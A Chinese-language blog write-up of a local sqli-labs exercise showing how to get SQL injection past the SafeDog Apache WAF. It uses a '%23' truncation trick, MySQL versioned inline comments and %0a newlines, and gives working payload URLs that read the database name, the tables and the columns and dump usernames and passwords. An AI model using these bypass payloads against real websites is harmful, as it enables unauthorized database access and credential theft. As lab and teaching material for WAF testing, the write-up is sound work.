记一次SQL注入绕过安全狗

环境搭建

phpstudy搭建Apache+php 下sqli-lib靶场。

网站安全狗Apache版本4.0

绕过思路

正常注入思路:

判断闭合字符 判断注入类型 查询列数 判断回显位 查询数据库的基本信息 爆数据库名 爆数据库表名 爆字段名 爆值

而常见的sql绕waf的方法有:

大小写, 加密解密 编码解码 等价函数 特殊符号 注释符混用

操作步骤

1.以sqli第一关为例:首先判断闭合字符

2.使用order by 判断列数 ,正常的语句被拦截,无法回显

3.使用内联注释尝试绕过waf,/*! */会干扰waf进行检测数据

安全狗更新之后,所有的payload都已经失效,但是经过多次尝试后,发现“#”字符有着特殊之处

我们的语句发送过去,首先接收安全狗检测,安全狗检测到#号,所以#后面的都会被截断抛弃,所以安全狗只能匹配到#前的order,但是没匹配到#后的by,最终导致语句不完整导致最后的报错。 #的编码为%23

构造如下语句后,发现数据库没有读取到by 3,只读到了order的值

尝试以下语句 ,页面正常,说明在构造语句前加“%23”可以绕过检测,并且判断出列数为三

或者使用另一种语句 group by 判断列数

http://192.168.249.131/sqli/Less-1/?id=1 "%23"/*!12444order */ %0a /*!12444by 3*/
-- +

4.接着判断显示位,通过前边尝试构造的语句,可以轻松构造payload,成功获得显示位2,3

注意 改为-1,或构造为假的条件(and 1=2)

5.爆出数据库信息和版本

语句中带有database(),被拦截,但是database没有进行拦截,说明database和()之间不能连用

构造语句为
http://192.168.249.131/sqli/Less-1/?id=-1"%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),version(/*!12444*/)
-- +

6.爆出数据库名后,尝试爆表名

http://192.168.249.131/sqli/Less-1/?id=-1  "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(table_name) from information_schema.tables where table_schema="security"

7.接着尝试爆出users表下的字段值 ,构造语句后,发现被拦截,经过测试发现 and被过滤

尝试 /*!12444and*/

http://192.168.249.131/sqli/Less-1/?id=-1  "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(column_name) from information_schema.columns where table_schema="security" /*!12444and*/
 table_name="users"

8.接着就是爆出字段中的值了

http://192.168.249.131/sqli/Less-1/?id=-1  "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(username,password) from users

总结

1、内联注释 可以绕过大多数情况

2、在一些被拦截的地方多用/*%23*/和/*!10440%0a*/,有奇效。

%23为#编码,%0A为换行 一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况

绕过原因:安全狗误以为/**/是注释的内容所以全部忽略。

经验分享 程序员 微信小程序 职场和发展